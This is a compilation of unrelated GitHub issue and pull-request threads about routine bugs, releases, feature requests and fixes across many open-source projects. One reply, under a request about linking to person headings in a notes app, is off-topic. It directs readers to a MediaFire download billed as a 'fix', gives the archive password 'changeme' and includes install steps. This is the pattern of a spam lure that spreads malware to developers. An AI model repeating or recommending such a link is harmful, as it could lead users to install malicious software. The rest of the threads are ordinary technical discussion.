Nested validations don't play well requiredIf/requiredUnless and computed properties

When using nested validations, it's not possible to use requiredIf (or requiredUnless) using a computed property.  The conditional validation will attempt (and silently fail) to get the property from the nested object rather than from the component instance itself .
See fiddle: https://jsfiddle.net/kqh4ebq8/2/
Is there a way to work around this issue?

That behaviour is intended and the construct you need is supported as
requiredIf(function () { return this.isRequired })

https://jsfiddle.net/Frizi/kqh4ebq8/3/
The locator semantic is documented under sameAs description in the docs. I see it might be a bit poorly placed though.

Thanks for the quick feedback. This should do the trick, thanks a lot! 👍
The documentation about requiredIf is indeed a bit lacking, the concept of locator should perhaps be defined and explained before it's first mentioned in the validators table. 😉
I've read this sentence 3 times and I still cannot make any sense out of the second half of it:

Locator might be either a sibling property name or a function, that will get your component as this and nested model which sibling properties under second parameter.

Shouldn't 'which' be 'with'? And what 'second parameter' are we talking about?
Btw, after some additional research, I figured out that I was passing arrow functions to requiredIf, the binding of this was thus ineffective. /facepalm
Should I open a PR to try improving this part of the documentation?

@xavier PR would be awesome 💛 I'm surely not the best at describing things in documentation for sure, every help is greatly appreciated 👍

I guess we can consider this closed after PR was merged


chore: release 1.1.2

:robot: I have created a release *beep* *boop*
1.1.2 (2019-06-14)
Bug Fixes

docs: move to new client docs URL (#184) (0ccd9d8)

This PR was generated with Release Please.

Release is at https://github.com/googleapis/nodejs-redis/releases/tag/v1.1.2

The release build has started, the log can be viewed here. :sunflower:

:egg: You hatched a release! The release build finished successfully! :purple_heart:


[Improvement] Add and delete multiple tags at once in the Gravitino CLI.

What would you like to be improved?
Add the ability to add and delete multiple tags and to add and delete multiple tags to an entity.
How should we improve?
See above.

Hey @justinmclean  I'd love to take a stab at this

Thanks for the help. If you need more details on how to approach this, just ask.


Remove unused axios dependency from cosmwasm

Not sure why this was there

Not sure why this was there

One upon a time, @cosmjs/launchpad and @cosmjs/cosmwasm were one package. I copied and remaned it, then removed stuff step by step.


[Feature Request] Link to person heading in people register file

I've a lot of people to reference. Most of them are from a give set (think colleagues). I would like to have one or possibly multiple "register" files, in which the information about these people is kept (even imported).
The simplest solution would be to allow to link to headings in files using the '#' part of the standard link feature.
It be even better to be able to refer to rows in tables. But I've no idea how this could be realized with standard features.
Think of organizations or large teams where most referenced people are internal. You could just convert e.g. contact lists into a file with one heading per person plus additional data below, or even better a table including a column for aliases.
Please consider at least the simple option with the headings :)

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Print actual current value of message lookup field

Changed from printing the constant to of FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS to the actual value in the class.

Could you please update the patch to reflect on recent changes to support versions <= 2.12?


besu --Xlauncher     "invalid default option for rpc-http-apis"

When I run "besu --Xlauncher", I get the following error:
Steps to Reproduce (Bug)
iacopo@LAPTOP-4HE1CDFS:~$ besu --Xlauncher-force
? Which Ethereum network would you like to use ? dev
? Which synchronization mode? fast
? Do you want to enable pruning? no
? What is the data directory ? /tmp
? Do you want to enable the JSON-RPC HTTP service ? yes
? Do you want to configure the JSON-RPC options now ? yes
? What is the JSON RPC HTTP host address ? <IP_ADDRESS>
? What is the JSON RPC HTTP port ? 8545
2022-01-27 19:37:54.093+01:00 | main | WARN  | Besu | Unable to run the launcher invalid default option for rpc-http-apis

Software version:
besu/v21.10.9/linux-x86_64/openjdk-java-17

Java version: [java -version]
openjdk version "11.0.13" 2021-10-19
OpenJDK Runtime Environment (build 11.0.13+8-Ubuntu-0ubuntu1.20.04)
OpenJDK 64-Bit Server VM (build 11.0.13+8-Ubuntu-0ubuntu1.20.04, mixed mode, sharing)

OS Name & Version:
DISTRIB_DESCRIPTION="Ubuntu 20.04.3 LTS"

Kernel Version:
Linux LAPTOP-4HE1CDFS <IP_ADDRESS>-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

I can reproduce this behaviour on my local machine.

Hi, thanks for your ticket. I just merged a PR to fix this issue


we need a better icon for the arc extension

@chlafreniere @ranasaria , I think we need a better icon for this extension 😃

This has since been fixed:


Terraform 0.13 is not supported when using prep_for_subm.sh

The new Terraform version 0.13, has introduced explicit-provider-source-locations, which causes prep_for_subm.sh to fail on all AWS modules in OCP cluster, such as:
Error: Provider configuration not present

To work with module.vpc.aws_route.to_nat_gw[0] its original provider
configuration at provider["registry.terraform.io/-/aws"] is required, but it
has been removed. This occurs when a provider configuration is removed while
objects created by that provider still exist in the state. Re-add the provider
configuration to destroy module.vpc.aws_route.to_nat_gw[0], after which you
can remove the provider configuration again.

Full output is attached:
prep_for_subm fails with terraform v13.txt
Environment:
subctl version: v0.7.0-pre1-25-gb569bbd)
OCP Version: 4.5.13

As a workaround, we can add to terraform 'main.tf', a version limit like:
    terraform {
      required_version = ">= 0.12"
      required_version = "< 0.13"
    }


IDS is incompatible with our Policy-Model

Hello everyone,
at the time of writing EDC policy model is not map-able to the IDS contract model. Currently, the only use case we are
mapping is the "everything allowed" policy. This special case is map-able. But as soon as there are any contract details
specified, both models clash. As the contract will probably be persistent at some point in the future, it would be nice to have a
working policy model by then.
Mapping Clashes
Correct me if I'm wrong, but as far as I see the two models clash at least the following points (maybe more):

Constraints

The EDC policy model knows the following constraints: AndConstraint, AtomicConstraint, XoneConstraint
, OrConstraint. The IDS policy model only knows AtomicConstraints

Operands

While the left and right Operands of the Policy Model are generic (currently only Strings), IDS has an Enum as
left operand and an RdfResource as right Operand, which theoretically would be applicable to strings but would
erase context.

Operator

The EDC policy model knows of 7 operators. The IDS policy model knows of 46 operators. Both models rarely
intersect.

Duty

The EDC Permission has a list of Duties. The IDS Permission has a list of pre- and post-Dutys. While the
IDS Permission objects could be mapped to EDC Permissions, mapping vice versa is impossible.

Hopefully the problem is clear. If IDS uses unknown Operators it's impossible to construct EDC contracts. Analogous if
the EDC uses a XoneConstraint its impossible to describe this policy in IDS.
Requirements for the new policy model
Assuming these requirements have to be met:

The EDC model must be able to be persisted
The EDC model must be transformable to IDS (and vice versa)
The persisted state must survive schema evolution of the EDC model
The persisted state must survive schema evolution of the IDS Information Model

Possible Solutions
I must say, that I don't know how a good solution might look like. My opinion is, that we don't need an abstraction from
IDS, as probably only IDS uses ORDL like rules. This would make a lot of things easier. I tried to spark a discussion here, but it didn't work :)
So maybe someone from the community has an idea how the current policy-model could change or new requirements.
Dominik Pinsel<EMAIL_ADDRESS>Daimler TSS GmbH, legal info/Impressum

This issue is further discussed in #132. Closing this issue to merge streams of discussion of this important topic.


Fixes local user setup to perform case-insensitive verification of existing usernames / emails

Fixes: #1657

I have updated the create_local_user() function to be case sensitive when checking the database for existing users with the same username and/or email. Additionally, when this function fails it returns its result status and message, as this message is useful for debugging, I have added it to the log message.

@ronanac3 please be more cautious with future submissions. I had to make a change in dev following this PR merge because it broke new user registration as it turns out. Here is what the fix actually looks like now;
user = User.query.filter(str(User.username).lower() == self.username.lower()).first()
user = User.query.filter(str(User.email).lower() == self.email.lower()).first()


fix: card text selection

📝 Description
Texts on card components can not be selected by mouse when they are not pressable.
⛳ Current behavior (updates)
Texts can not be selected nor copied.
🚀 New behavior
Texts can not be selected and copied.
💣 Is this a breaking change (Yes/No): No

📝 Additional Information
This is a bug invoked by react-aria usePress. According to the author of usePress() (explained here, which also involved the card implementation), we should avoid it when the card is not pressable. Correct me if I'm wrong 😂 not a pro of react-aria

Codecov Report

Merging #520 (015fd12) into main (aa7c285) will increase coverage by 0.02%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main     #520      +/-   ##
==========================================
+ Coverage   74.75%   74.78%   +0.02%
==========================================
  Files         200      200
  Lines        3090     3093       +3
  Branches      952      955       +3
==========================================
+ Hits         2310     2313       +3
  Misses        765      765
  Partials       15       15

Impacted Files
Coverage Δ

packages/react/src/card/card.tsx
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update aa7c285...015fd12. Read the comment docs.


source-viewer directive not being applied in descriptions

Code sections in my @description sections are not properly being formatted.  The markdown looks like this:
/**
*  ```js
*    var someCode;
* ```
*/
And the HTML on the page ends up as follows:
<source-viewer file-type="js">var someCode<source-viewer>
with the directive not being applied.  This was reproduced in Chrome and Firefox.  The "Usage" section of modals however applied the directive as would be expected (I would assume), with <pre> <code> etc.

Im still having this issue in version 0.8.14 all the other markup syntax works just fine, bit not showing the code snippets correctly even though I see the  directive when I inspect the html page
Im using the same code as below:
apt-get install git || $ brew install git || download installer and execute;
apt-get install nodejs || $ brew install nodejs || download installer and execute;
npm install -g yo;
npm install -g bower;
npm install -g grunt-cli;
npm install -g generator-angular-fulstack;

@jonathan-casarrubias could you please create an example of your problem, put it on github, so I can check your case and see if I can do something about it ? thanks.

Same here it looks like the directive "sourceViewer" is not being called when you are looking at a group content, but as soon as you click "show code" it's being called for the source, never for the group item description. I'll provide a demo as soon as I can.


Product Description

Product Description
High Level Overview
We are planning to build a responsive one page website for Nike. This website will consist of a header section involving navigation links. The body will include a brief history of the company, a showcasing of several products, and a todo style list where these products can be added or removed from the “cart” for purchase. We will also include bars on each side for computer and ipad viewports where the screen is wide enough to support this.

Problem Statement
our product is solving the problem of finding quality shoes to wear. this is an important problem because everyone needs a good pair of shoes in our modern society.

Moments of Charm
we will add a shopping cart where any product that you would like to purchase while browsing can be added allowing for a dynamic list showcasing what you are interested in.

Product Sketches

Hey @irm1005-itec1005-fall-2023/bytebusters - this is really awesome - love your concept - and adding the Shopping cart functionality is something I'm really excited to see.
Let me know if you need any additional support. Good luck!


Searching within code view

Would be very nice to have

Bug Report Dump (Auto-generated)

Version 1.25.0<PHONE_NUMBER>)
Device: iPad8,5 (iOS 12.1)
TestFlight: false

Agree!
Sent with GitHawk

In a file or in the code browser (or both?!)?
Sent with GitHawk

I like both!
Sent with GitHawk

how can I help with this, I can't seem to find a fork or anything

@Abemarkar23 hey! Thanks for jumping in to help. What do you mean can’t find a fork? If your trying to fork the project head to https://github.com/GitHawkApp/GitHawk and click the fork button in the top right corner of the screen
Sent with GitHawk

I was wondering about helping out on the code search feature

also im a beginner-intermediate in terms of Swift iOS development, I have no idea on how to help

@Abemarkar23 no problem! We’re happy to help get you started have you see the setup guide? Have you had any trouble with it?
Sent with GitHawk


fix(dataarray): Fix load from a database with subindices

ATM we could not read from a database which has been setup with sub indices. This pr fix this (original issue https://github.com/jina-ai/docarray/issues/555 )
`from docarray import Document, DocumentArray, dataclass
from docarray.typing import Image, Text
@dataclass
class MyDocument:
image: Image
paragraph: Text
extend with Documents, including embeddings
_docs = [(MyDocument( image='https://docarray.jina.ai/_images/apple.png', paragraph='hello world'))]
da = DocumentArray(
storage='sqlite',  # use SQLite as vector database
config={'connection': 'jina4.db', 'table_name': 'test4'},
<EMAIL_ADDRESS>{'connection': 'jina4.db', 'table_name': 'test5'}<EMAIL_ADDRESS>{'connection': 'jina4.db', 'table_name': 'test6'}},  # set up subindices for image and description
)
da.summary()
for item in _docs:
d = Document(item)
da.append(d)
da = DocumentArray(
storage='sqlite',  # use SQLite as vector database
config={'connection': 'jina4.db', 'table_name': 'test4'},
<EMAIL_ADDRESS>{'connection': 'jina4.db', 'table_name': 'test5'}<EMAIL_ADDRESS>{'connection': 'jina4.db', 'table_name': 'test6'}},  # set up subindices for image and description
)
da.summary()`
This will now work

Make sure to fix the commit lint and to format the python code in the description

Also dataarray is nothing in docarray, just use fix


PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 118784 bytes) in /www/wwwroot/wallet/vendor/guzzlehttp/psr7/src/Utils.php on line 414

PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 118784 bytes) in /www/wwwroot/wallet/vendor/guzzlehttp/psr7/src/Utils.php on line 414
Symfony\Component\ErrorHandler\Error\FatalError
Allowed memory size of 134217728 bytes exhausted (tried to allocate 118784 bytes)
at vendor/guzzlehttp/psr7/src/Utils.php:414
PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 135168 bytes) in /www/wwwroot/wallet/vendor/nunomaduro/collision/src/Highlighter.php on line 155

This is because you have some code somewhere that is trying to load the entire body into memory. This is not a bug with our code. If the body is large, then you won't be able to do that.


ci: precommit with secrets

Before submitting

[x] Was this discussed/agreed via a Github issue? (no need for typos and docs improvements)
[x] Did you read the contributor guideline, Pull Request section?
Did you make sure to update the docs?
[ ] Did all existing and newly added tests pass locally?

What does this PR do?
validation it with real repo and seems not working smoothly
PR review
Anyone in the community is free to review the PR once the tests have passed.
If we didn't discuss your PR in GitHub issues there's a high chance it will not be merged.

:books: Documentation preview :books:: https://lit-utilities--193.org.readthedocs.build/en/193/

validated on a private repo


Remove the use of python_cmake_module

In order for this to work properly, we also have to patch python_orocos_kdl_vendor to use find_package(Python3), rather than find_package(Python 3), which uses different variables.
This must be merged before https://github.com/ros2/ros2/pull/1524 ; see that pull request for more information about this change.

CI for this (along with all of the rest of the changes needed) is in https://github.com/ros2/ros2/pull/1524#issuecomment-2365359588


enable BigQueryIO read throttling detection for Python SDK

Before (using a gcp project of limited quota):

upscale to 270+ worker aggressively, before cancel the job
After (note: backend change not yet rolled out on prod):
(up-hill part, max worker=181)

(down-hill part)

note: autoscaler won't kill active worker until current work item finish, and there is a 6 min lapse from worker started to reactive downscale working, see https://github.com/apache/beam/pull/31253#issuecomment-2118608486
Please add a meaningful description for your change here

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Mention the appropriate issue in your description (for example: addresses #123), if applicable. This will automatically add a link to the pull request in the issue. If you would like the issue to automatically close on merging the pull request, comment fixes #<ISSUE NUMBER> instead.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.
To check the build health, please visit https://github.com/apache/beam/blob/master/.test-infra/BUILD_STATUS.md
GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI or the workflows README to see a list of phrases to trigger workflows.

R: @shunping @ahmedabu98

Python ML test failure on 2/5 python versions untelated to the change. Merging for now.


fix(contributors): Fix contributors, authors is experiment

Fix contributors, and move authors in experiment, cause it unstable yet

lgtm
just make sure to squash into one commit with meaningful message fix(contributors):...


Refactor CSS/JS for generic header (Bootstrap)

Update the header file and JS to use bootstrap.
There is a separate related ticket to address the navigation elements, #565

PR #594 updates the header.

visual inspection on stage. closing issue.


Mobile devices issue

Hi, thanks for this great JS!
I used this for the first time and everything is alright so far, but:
On mobile devices the script triggers the 'characters input' on my phone (i don't know how to call it...), since clipboardJS selects my text input field. I guess this is neccessary to copy the text...
Is there a way to avoid this behaviour on mobile phone?
Greets,
hc

@hcgreier I’ll try replicate the issue in the next days, but I believe it's possible to workaround this behavior. To help me replicate, do you have some way to share the code you’re using to trigger the copy action flow? Thanks!

@hcgreier after testing locally using this demo, Copy action happens without triggering the keyboard. Could you please provide the code that you're using in a demo? Thanks.
Close for now since it was not reproducible. Feel free to open with a demo.

Hi,
I simply habe a button which call a new ClipboardJS, just like
$('#fenCopyBtn').click(function(evt) {       new ClipboardJS('#fenCopyBtn');     });
I tested this link On my phone (Huawei P30), the keyboard is triggered. As long as the script uses the "select" method, this will simply not change. Maybe there are phones which do not show this, but as long as the textfield value is selected, some will do. Maybe it is possible to put the textfield value directly in the clipboardJS without explicitly selecting it?
greets,
hc


Adding a demo would be great!

Adding a demo link in README would be great.

definitely! And also please add the demo app source code to github repository if possible!

Sure @greenlaw110. I am working on it. I will give a PR once I finish it.

Added!


Cocoapods Podspec

Thank you for Swinject!
Would it be possible to install SwinjectStoryboard via Cocoapods like Swinject?

Yes, you can use CocoaPods when Swinject v2 is ready.

Added by PR #10.


Show incorrect information on m1 mac

Hi, I have downloaded the latest release and tried. Now, I get "L:  R:  R:  ". Here is some informations from alfred:
[16:16:23.267] Logging Started...
[16:16:26.244] Airpods Battery[Script Filter] Queuing argument '(null)'
[16:16:26.549] Airpods Battery[Script Filter] Script with argv '(null)' finished
[16:16:26.552] Airpods Battery[Script Filter] {"items": [
    {
        "uid": "battery",
        "title": "L: R: R: ",
        "subtitle": "Press Enter to disconnect",
        "arg": "1",
    }
]}

That's strange, I'm using M1 macbook air (Big Sur) too, and it works fine.
Is your macbook connecting to multiple earphones?
Can you try to execute the bash script below and see what is the output?
#!/usr/bin/env bash

OUTPUT='';
BLUETOOTH_DEFAULTS=$(defaults read /Library/Preferences/com.apple.Bluetooth);
SYSTEM_PROFILER=$(system_profiler SPBluetoothDataType 2>/dev/null)
MAC_ADDR=$(grep -b2 "Minor Type: Headphones"<<<"${SYSTEM_PROFILER}"|awk '/Address/{print $3}')
CONNECTED=$(grep -ia6 "${MAC_ADDR}"<<<"${SYSTEM_PROFILER}"|awk '/Connected: Yes/{print 1}')
BLUETOOTH_DATA=$(grep -ia6 '"'"${MAC_ADDR}"'"'<<<"${BLUETOOTH_DEFAULTS}")
BATTERY_LEVELS=("BatteryPercentLeft" "BatteryPercentRight")

if [[ "${CONNECTED}" ]]; then
    for I in "${BATTERY_LEVELS[@]}"; do
        declare -x "${I}"="$(awk -v pat="${I}" '$0~pat{gsub (";",""); print $3 }'<<<"${BLUETOOTH_DATA}")"
        [[ ! -z "${!I}" ]] && OUTPUT="${OUTPUT} $(awk '/BatteryPercent/{print substr($0,15,1)": "}'<<<"${I}")${!I}%"
    done

    battery=$(echo $OUTPUT | awk '{
        l = "";
        r = "";
        for (i = 1; i < NF; i++) {
          if ($i == "L:") {l = $(i + 2);}
          else if ($i == "R:") {r = $(i + 2);}
        }
        print "L: " l, "R: " r
      }')
    arg=1;
    subtitle="Press Enter to disconnect";
else
    battery="Not Connected"
    arg=0;
    subtitle="Press Enter to connect";
fi

echo $OUTPUT
echo $battery

Here, the $OUTPUT is the related infomation grepped from system, actually, the script of this part was grabbed from another repo, and I don't quite understand what it is doing ;D,  the only part I wrote is the awk code:
    battery=$(echo $OUTPUT | awk '{
        l = "";
        r = "";
        for (i = 1; i < NF; i++) {
          if ($i == "L:") {l = $(i + 2);}
          else if ($i == "R:") {r = $(i + 2);}
        }
        print "L: " l, "R: " r
      }')

which filters the result of $OUTPUT, format it, and pass it to Alfred.
Since I cannot reproduce your problem in my computer, it is rather difficult for me to debug,
I will be really appreciated if you could try fixing it.
Hint:
Depending on what the content of the $OUTPUT is, you should try to modify the awk code to filter and format it correctly.

There is just an earphone connecting to my mac. I have tried the bash script in my terminal and I got this output
awk: syntax error at source line 1
 context is
	/BatteryPercent/{print >>>  substr($, <<<
awk: illegal statement at source line 1
awk: illegal statement at source line 1
awk: syntax error at source line 1
 context is
	/BatteryPercent/{print >>>  substr($, <<<
awk: illegal statement at source line 1
awk: illegal statement at source line 1
81% 76%
L: R:

It seems like l and r have no value.
Actually I have not learned awk. So it's also a little difficult for me to debug. I'm sorry for that. However, I have tried the fork of this repo in #1. It can work well on my mac.
I think it's just a tool. If it can work for us, this is enough. We don't need to pursue perfection. Anyway, thanks again bro, I find solution here. Have a good day!

Good to here that, thank you~


[Bug / Error] "Your device could not link due to a sync error"

For whatever reason, i keep getting the "Your device could not link to the a sync error". I would start whatsie, scan the QR code, it would load the chats. And a few seconds later it would display an error and log out all my devices on whatsapp web.
This has been happening for a few days now, i tried to clear cache, reinstall, etc and nothing works.
Running the latest version from "snap" on Ubuntu 21.04

check the keep logged in button while looging in.

I will try to reproduce this. Thanks for reporting :)

I will try to reproduce this. Thanks for reporting :)

Please logout from all active sessions on your phone, clear all data from Whatsie and restart it and try now.
The issue is known if you are using whatspp web beta.


Julians branch

Hmm - you shouldn't be submitting a pull request for the starter lab, unless it is to correct a defect in the original repo!


Fix multiple value DB entries to support migrations

Currently it is just entered in the correct order - instead the column names should be referenced explicitly.
E.g. new guild entry.

This was fixed in #100.


As a user, I should be able to add courses

Agile Specifications:
Points: 8
Risk: High

[x] After the "Add Courses" button is clicked, a text area appears, where the user chooses their courses.
Hours: 3 hours
[x] If the course exists, add the student as a subscriber to that course, else display a message that the course doesn't exist. Then we have to make sure that the course course isn't already in the student's course array.
Hours: 12 hours
[x] The first time a course section receives a subscriber, a timetable needs to be created that contains a list of each individual class dates and an empty description field.
Hours: 12 hours
[x] Create backend and frontend test cases and do regression testing.
Hours: 3 hours

Acceptance Criteria: As a user, after clicking on the "Add Courses" button, I will see a text area where I can choose my classes for my schedule. If the course exists, then I will be subscribed to the class. If the course doesn't exist, then I will see a message that tells me that this course doesn't exist. Also, when I click a course to add to my schedule, and I am already subscribed to it, then I will see a display with the appropriate message.

Given that I’m logged in as a user
And I am redirected to the homepage
When I navigate to the “add a course” search bar
And I enter a course
Then all the possible sections should be displayed

Given that I’m logged in as a user
And I am redirected to the homepage
When I navigate to the “add a course” search bar
And I enter my desired course
Then I my course will be added to the database
And be displayed on my homepage

Given that I’m logged in as a user
And I am redirected to the homepage
When I navigate to the “add a course” search bar
And I enter a course that does not exist
Then a error message will be displayed

Given I am logged in as a student
And I am on the homepage
When I add a course
And I do not select a section
Then I will not be able to add my course
Mock up of what the add courses functionality could potentially look like:

Made a small update to the database in the "sections" node.

Flowchart to add a class to the user's courseArray and subscribe them to specific sections

@svelupillai  @samratdebroy  @Gabbell
Bug Report:
Given that I'm logged in as user1 and add my courses
And I log out
When I login as user 2
Then the courses that were added with user 1 still appear on the homepage
When I refresh the page
Then user2 finally sees their courses on their homepage

This story can be closed. All subtasks/issues to this story are completed.

Hours spent: 12

Hours: 8

hours: 5


Bump Pulsar to <IP_ADDRESS>-rc-1

Motivation
Bump Pulsar to <IP_ADDRESS>-rc-1 and adjust some logic.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Incorrect GARCH forecasts

Conditional volatility forecasts are incorrect - decay to zero. To be fixed asap for next release.

Fixed - will be in next release


Add guess function library

Summary
I recently noticed the initial guess generation for fit parameters depends on experiment and not well tested. Sometimes different approaches are taken to estimate the same parameter from the same model. And some code may have edge cases that causes a bug.
For example, frequency estimation code in Rabi analysis causes a trouble when negative x values are used.
import numpy as np

freq = 4.5

x = np.linspace(-1, 1, 101)
y = 0.3 * np.cos(2 * np.pi * freq * x + 0.5) + 1.2

fft = np.abs(np.fft.fft(y - np.average(y)))
damp = x[1] - x[0]
freqs = np.linspace(0.0, 1.0 / (2.0 * damp), len(fft))

freqs[np.argmax(fft[0 : len(fft) // 2])]  # 2.2499999999999982

Even if we notice this kind of problem, it might be hard to fix the entire codebase if each subclass implements these lines of code (currently the size of the codebase is enough small to address these issues but it will rapidly grow).
The key idea of this PR is to let the analysis.guesses module provide a library of initial guess functions for typical parameters, such as frequency, exp decay rate, etc..., which standardizes and centralizes the initial guess code, aiming at

improve readability of analysis code (reduce lines of code!)
improve maintainability of curve analysis module (we only need to maintain the library)
add sufficient unittests for initial guess (currently no experiment performs unittest for initial guess)

Each analysis can use these functions as follows:

from qiskit_experiments.analysis import guesses

freq = guesses.frequency(x, y)

Details and comments
Currently the library supports

frequency
max value (can ignore outliers by setting percentile option)
min value (can ignore outliers by setting percentile option)
exponential decay
exponential decay of oscillating signal

to show the concept of this work. You can add arbitrary guess functions in another PR.

@eggerdj Thanks for the requests. In original implementation the peak finding is done by max height search so this is already in the guess module. Instead, I added a base line search algorithms. In this context, we can find many baseline search algorithms but this is already outside the scope of this PR. What I implement in the commit https://github.com/Qiskit/qiskit-experiments/pull/154/commits/63ed1c319737890fd4459f34de0266ffaecd970e is very simple version, in which baseline is estimated by average of y values where 1st and 2nd derivatives are close to zero. This is much robust to the original implementation of np.median(y) because sometime it calculates larger offset when the peak width is broad (this often happens when we run fine scan around the peak).


Upgrade polkadot.js to 9.11.1 and lib to 1.20.0

This is required to support the capacity model which will be included in the lib release for 1.20.0.
There are also two breaking changes in the lib, which will need to be handled in the UI:

VaultsAPI.buildWithdrawCollateralExtrinsic: now async, returning a Promise (was sync)
RewardsAPI.getRewardsPoolRewardPerToken now needs a second parameter passed in: collateral currency for which to calculate rewards.

We may or may not want to bump the xcm lib version to 0.2.0 too. Assuming the PR has been merged by the time this is worked on.
For now, the xcm lib PR is under review: interlay/bridge#34

For now, the xcm lib PR is under review: interlay/bridge#34

Merged and tagged. I'd recommend to bump @interlay/bridge to ^0.2.0 as part of this issue, too

For now, the xcm lib PR is under review: interlay/bridge#34

Merged and tagged. I'd recommend to bump @interlay/bridge to ^0.2.0 as part of this issue, too

That makes sense—I'll updated the ticket.


Add option to use type erased matchers to reduce symbol names

There is a slowdown of compilation with this change, which is why its conditionally enabled. Resnet50 goes from 7s to 12s and bert goes from 13s to 26s, so its almost a 2x slowdown.


Switch demo scripts to use stack

This allows us to have a commit on master that we can run the exact demo from 21st June 2019, that we will point to from a wiki page about the demo.

bors r+


Beaker tests results are irrelevant

When PCCI runs the tests it first send a failure because tests fail on Centos then it sends a success because tests work on Ubuntu and we only see the Ubuntu success at the end.

Yes this is a thing. We pipped through centos pcci tests but didn't figure out how to reflect that in the test reporting. ping @bkero

it would also be cool to use   --trace when doing      puppet apply --verbose --detailed-exitcodes /tmp/apply_manifest.pp.SclU02 in beaker tests

Is this still an issue?


Does not work with Voicepeak trial version on macOS 14 (have not tested paid version)

When I run ./vpeak -silent "こんにちは" or ./vpeak -n f1 -e happy -o ./hello.wav "こんにちは", instead of generating the audio files, it opens a blank Voicepeak UI and it just hangs in my Terminal. I noticed that this also happens in Windows when I try to run the voicepeak.exe executable directly. Lastly, if I run the voicepeak command directly in the .app directory, I get the message iconv_open is not supported as well as another warning message below (maybe they changed something and this approach of calling the binary file will no longer work?). I have included screenshots of everything below.
Is this because I am using the trial version? If I bought the full version would everything work correctly? EDIT: I see it says 出力 (体験飯では利用できません) in the menu, so that might be my problem. The menu is somewhat hidden at first so I didn't see it before creating this issue 😅

I am running the latest version of the trial (I just downloaded it). I am also running a recent version of OSX (14.1.2) on an M1 Macbook Pro:
VOICEPEAK 1.0.1
© 2022 Dreamtonics 株式会社

== System Info ==
CPU:  0 MHz 10 Cores 10 Threads
CPU Features:
Memory: 32768 MBytes
Operating System: Mac OSX 14.1.2 64 bits
User Language: en
User Region: US
Installation Path: /Applications/voicepeak.app/Contents/MacOS/voicepeak
Application Directory: [removed]

== Type Checks ==
sizeof(int) = 4
sizeof(long) = 8
sizeof(void*) = 8

Report generated at 16 Dec 2023 4:08.
Built on Apr 11 2022.
ダブルクリックでレポートをコピー

@SnowySailor Hello! Thanks for finding this project!
You might be right; the issue could be due to using the trial version.
For context, I am using the paid version.
By the way, do you have a file named output.wav in your current directory after you run this command?
At first, I assumed that this command outputs audio directly. However, I soon realized that it only outputs an audio file.
Assuming the process is successful, I was wondering if you actually have an output file in your case.
I also get the message iconv_open is not supported in my environment too.
I'm not sure of the cause, but since it hasn't affected the operation, I haven't investigated it further.

Thanks for the fast reply! I was really happy to see a project like this cause I'm trying to automatically generate audio for my Japanese Anki deck and Voicepeak seems like the perfect tool for that. Are you also running the latest version of Voicepeak on macOS 14? If you are and everything is working, I might bite the bullet and pay for the full version and try that out.

@SnowySailor I'm currently using macOS version 13.
Before making a purchase, it might be a good idea to check out feedback on social media platforms to ensure it's safe to upgrade.
This could influence your decision to buy it.
Regarding VOICEPEAK, I'm using version 1.2.6 because I've found that the dictionary function sometimes doesn't work properly with the latest version.
However, if you don't rely on the dictionary function, the latest version should be fine for you.
I'm not certain where to find older versions for download, so it's best to reach out to support directly with any specific inquiries.
Thank you for your reply on the output.wav about.
In my experience, using the vpeak command doesn't actually open the VOICEPEAK application.
You are right, It appears this issue may be linked to the software being a trial version.

Issue is likely a result of using the trial version. It doesn't seem like anything is broken.

Just a note, I emailed the company and asked about command line usage and their reply was just

体験版・製品版問わず、
弊社製品ではコマンドライン（CL）は非対応です。

So I guess it's not an officially supported feature, which means they could remove it at any time. That seems kind of strange because it would be a very useful feature to officially support...


[Camera] White screen when using ResolutionPreset.high, front camera, and taking a photo on iOS.

What package does this bug report belong to?
camera
What target platforms are you seeing this bug on?
iOS
Have you already upgraded your packages?
Yes
Dependency versions

pubspec.yaml
# Generated by pub
# See https://dart.dev/tools/pub/glossary#lockfile
packages:
  async:
    dependency: transitive
    description:
      name: async
      sha256: "947bfcf187f74dbc5e146c9eb9c0f10c9f8b30743e341481c1e2ed3ecc18c20c"
      url: "https://pub.dev"
    source: hosted
    version: "2.11.0"
  boolean_selector:
    dependency: transitive
    description:
      name: boolean_selector
      sha256: "6cfb5af12253eaf2b368f07bacc5a80d1301a071c73360d746b7f2e32d762c66"
      url: "https://pub.dev"
    source: hosted
    version: "2.1.1"
  camera:
    dependency: "direct main"
    description:
      name: camera
      sha256: "26ff41045772153f222ffffecba711a206f670f5834d40ebf5eed3811692f167"
      url: "https://pub.dev"
    source: hosted
    version: "0.11.0+2"
  camera_android_camerax:
    dependency: transitive
    description:
      name: camera_android_camerax
      sha256: e3627fdc2132d89212b8a8676679f5b07008c7e3d8ae00cea775c3397f9e742b
      url: "https://pub.dev"
    source: hosted
    version: "0.6.10"
  camera_avfoundation:
    dependency: transitive
    description:
      name: camera_avfoundation
      sha256: "0d04cec8715b59fb6dc60eefb47e69024f51233c570e475b886dc9290568bca7"
      url: "https://pub.dev"
    source: hosted
    version: "0.9.17+4"
  camera_platform_interface:
    dependency: transitive
    description:
      name: camera_platform_interface
      sha256: b3ede1f171532e0d83111fe0980b46d17f1aa9788a07a2fbed07366bbdbb9061
      url: "https://pub.dev"
    source: hosted
    version: "2.8.0"
  camera_web:
    dependency: transitive
    description:
      name: camera_web
      sha256: "595f28c89d1fb62d77c73c633193755b781c6d2e0ebcd8dc25b763b514e6ba8f"
      url: "https://pub.dev"
    source: hosted
